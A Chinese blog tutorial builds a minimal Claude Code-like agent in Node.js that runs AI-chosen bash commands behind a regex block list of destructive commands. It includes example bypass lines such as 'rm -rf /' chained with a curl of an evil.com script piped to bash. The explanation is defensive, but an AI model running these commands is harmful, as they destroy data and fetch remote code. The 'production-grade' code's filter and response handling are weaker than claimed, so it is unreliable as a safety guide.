真正的技术突破,从来不是靠堆砌复杂框架,而是吃透底层逻辑
最近研究AI Agent时,我发现Claude Code这类能自动写代码、跑程序、调bug的智能体,底层逻辑居然简单到离谱——一个循环 + 一个工具调用,不到30行核心代码就能从零实现。
今天就手把手带大家从0到1搭建极简版Claude Code,不仅讲清楚原理,还把代码踩过的坑全填上,新手也能直接跑起来!
一、先搞懂:Claude Code到底在干嘛?
普通AI就像「只会说不会做」的助手——你让它写代码,它只给文字;报错了,还得你手动复制粘贴反馈。
而Claude Code的核心,是给AI加了 「循环大脑 + 执行手脚」:
- 循环大脑:让AI持续思考、决策,不用你插手
- 执行手脚:给AI开放命令行权限,能直接读文件、跑代码、看结果
- 全程自动:AI自己判断要做什么、用什么工具、什么时候结束
用一句话说:一个无限循环 + 一个Bash命令工具 = 能自动干活的AI智能体。
二、核心逻辑拆解
作为前端开发者,我们对「循环」「回调」「状态管理」再熟悉不过,这个智能体的逻辑和前端的 「事件循环 + 状态更新」 异曲同工:
- 初始化对话:给AI设定角色(代码助手)+ 开放工具(Bash命令行)
- 启动循环:持续让AI思考当前任务,判断是否需要调用工具
- 工具执行:AI调用Bash执行命令(创建文件、跑代码等),拿到执行结果
- 结果反馈:把执行结果按API规范传回AI,继续循环
- 结束条件:AI判断任务完成,退出循环,返回最终结果
全程没有黑科技,就是把「人手动做的步骤」交给AI自动循环完成。
三、30行核心代码
网上很多教程的代码都有细节坑——比如漏了 tool_use_id、模型名过时、没有防无限循环、安全过滤形同虚设。下面这份代码已经全部修好,复制粘贴就能跑。
// 前端鱼姐|极简版Claude Code(生产级教学版)
import Anthropic from '@anthropic-ai/sdk';
import { exec } from 'child_process';
import { promisify } from 'util';
const anthropic = new Anthropic({ apiKey: '你的Claude API Key' });
const execAsync = promisify(exec);
// ------------------- 安全模块 -------------------
// 高危命令正则检测(比 includes 强10倍)
const isDangerousCommand = (cmd) => {
const dangerousPatterns = [
/rm\s+(-[rf]+|\w*[rf]\w*)\s+\//i, // rm -rf /
/shutdown|reboot/i, // 关机/重启
/mkfs/, // 格式化
/dd\s+if=/, // 危险dd操作
/:\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;:/, // fork炸弹
/curl.*\|.*sh/, // 远程脚本注入
/wget.*\|.*sh/,
];
return dangerousPatterns.some(pattern => pattern.test(cmd));
};
// 工具定义:Bash命令行
const tools = [{
name: 'bash',
description: '执行Linux/Mac终端命令(安全模式)',
input_schema: {
type: 'object',
properties: { command: { type: 'string' } },
required: ['command']
}
}];
// ------------------- 核心Agent循环 -------------------
async function runAgent(task, maxIterations = 10) {
let messages = [{ role: 'user', content: task }];
let iterations = 0;
while (iterations < maxIterations) {
iterations++;
console.log(`🧠 [第${iterations}轮] AI思考中...`);
// 1. 调用Claude,让它决定下一步
const response = await anthropic.messages.create({
model: 'claude-3-5-sonnet-20241022', // 最新模型(不要再用废弃版)
max_tokens: 1024,
tools,
messages
});
const content = response.content[0];
// 2. AI要求调用工具
if (content.type === 'tool_use') {
const { command } = content.input;
// 安全检查
if (isDangerousCommand(command)) {
throw new Error(`⛔ 禁止执行高危操作:${command}`);
}
console.log(`🔧 执行命令:${command}`);
const { stdout, stderr } = await execAsync(command);
const result = `执行结果:\n${stdout || stderr || '(无输出)'}`;
// 3. 关键!必须带 tool_use_id 把结果喂回给AI
messages.push(
content, // assistant的tool_use消息
{
role: 'user',
content: [{
type: 'tool_result',
tool_use_id: content.id, // 少了这行API直接报错
content: result
}]
}
);
}
// 4. AI给出最终答案,退出循环
else {
console.log(`✅ 任务完成(共${iterations}轮)`);
console.log('📢 最终回答:', content.text);
return content.text;
}
}
throw new Error(`⚠️ 达到最大迭代次数 ${maxIterations},可能陷入死循环`);
}
// ------------------- 开箱测试 -------------------
runAgent('创建一个hello.js文件,内容是console.log("前端鱼姐的AI智能体"),然后运行它');
运行效果:AI会自动创建文件 → 执行 node hello.js → 拿到输出 → 返回结果给你。
四、深入知识点--面试/装逼两相宜
光跑起来不够,下面这几个进阶坑点,90%的教程都不会告诉你。
1️⃣ 为什么必须带 tool_use_id?
Claude API的设计是异步多工具并发——一次响应里可能同时要求调用多个工具(比如同时读两个文件)。为了把「结果」准确匹配到「哪个工具调用」,API强制要求每个 tool_result 携带对应的 tool_use_id。
如果不传,API会返回类似这样的错误:
Missing tool_use_id in tool_result block
所以上面代码里的 tool_use_id: content.id 是必填项,不是可选项。
2️⃣ 为什么不能直接用 includes('rm -rf /') 做安全过滤?
因为命令注入可以轻松绕过字符串匹配。举几个例子:
# 原始过滤 if (command.includes('rm -rf /')) 拦截失败案例
rm -rf / # 能拦住
rm -rf / # 多一个空格 → 绕过了
rm -rf ${HOME} # 环境变量 → 绕过了
rm -rf / ; curl evil.com/steal.sh | bash # 命令拼接 → 绕过了
所以正确做法是用正则表达式 + 白名单命令列表。上面的代码已经升级为正则检测。
生产环境更稳妥的做法:
- 使用
cmd-whitelist包,只允许ls, cat, echo, node, python等安全命令 - 或者在Docker容器内执行,限制文件系统权限
3️⃣ 无限循环怎么防?
真实Agent很容易陷入「反复做同一件事」的循环,比如AI反复调用 ls 但永远不满足退出条件。这会狂烧你的API额度。
解决方案:设置 maxIterations(上面代码已加入)。建议值:
- 简单任务:5~10轮
- 复杂任务:15~20轮
另外可以在循环内检测「连续相同工具调用次数」,超过3次自动终止。
4️⃣ 真正的Claude Code远不止30行
上面30行代码抓住了核心思想,但真实的Claude Code(Anthropic官方工具)是一个庞然大物——从泄露的部分源码看:
- 1900+ TypeScript文件
- 51.2万行代码
- 包含:QueryEngine(~4.6万行)、MCP协议集成、权限系统(Default/Plan/Bypass/Auto四种模式)、持久化bash会话、上下文压缩、Token记账……
所以不要把30行demo当成生产工具,但它足够帮你彻底理解Agent的本质。
5️⃣ 进阶功能:持久化Bash会话
上面代码每次执行 execAsync 都是全新的shell进程,这意味着:
cd /tmp后下一个命令不会留在/tmpexport VAR=123环境变量不会保留
真实Claude Code使用了持久化bash会话(类似 child_process.spawn 维持一个长期shell进程)。实现方式:
// 伪代码示意
const { spawn } = require('child_process');
const shell = spawn('/bin/bash', ['-i']);
shell.stdin.write('cd /tmp\n');
// 后续命令都通过同一个stdin发送,保持状态
五、前端人视角:为什么这个实现很重要?
-
降低AI开发门槛
不用学LangChain、AutoGPT等重型框架,吃透「循环+工具」就能做自己的AI应用。 -
无缝衔接前端生态
用Node.js实现,可以直接嵌入你的Vue/React项目,做自动化测试、代码生成、项目初始化等。 -
转型全栈/AI的关键跳板
理解Agent底层逻辑,再去学高级框架会非常快——就像先懂JS原生再学React。
六、小总结
作为一名大龄前端转型者,我越来越明白:技术的本质是「简化」,不是「复杂化」。
Claude Code看似高大上,底层不过是「循环+工具」的简单组合。30行代码不是为了替代专业工具,而是让我们看清本质——所有能自动干活的AI,都是「会思考+能执行」的循环体。
接下来我会继续用前端人的视角,拆解更多AI工具的底层逻辑(比如MCP协议、RAG、Function Calling)。关注我,一起用最简单的方式吃掉复杂技术 🚀
📌 附:扩展阅读 & 作业
作业(可以在评论区交):
- 给上面的Agent增加一个
read_file工具,让AI能直接读取本地文件内容。 - 把安全过滤改成白名单模式,只允许
ls, cat, echo, node, python, mkdir, touch。
推荐学习资源:
下期预告:「手撕MCP协议,20行代码让Claude操控你的浏览器」
💡 小提示:文中API Key请妥善保管,不要上传到公开仓库。生产环境建议使用环境变量 + 权限管理系统。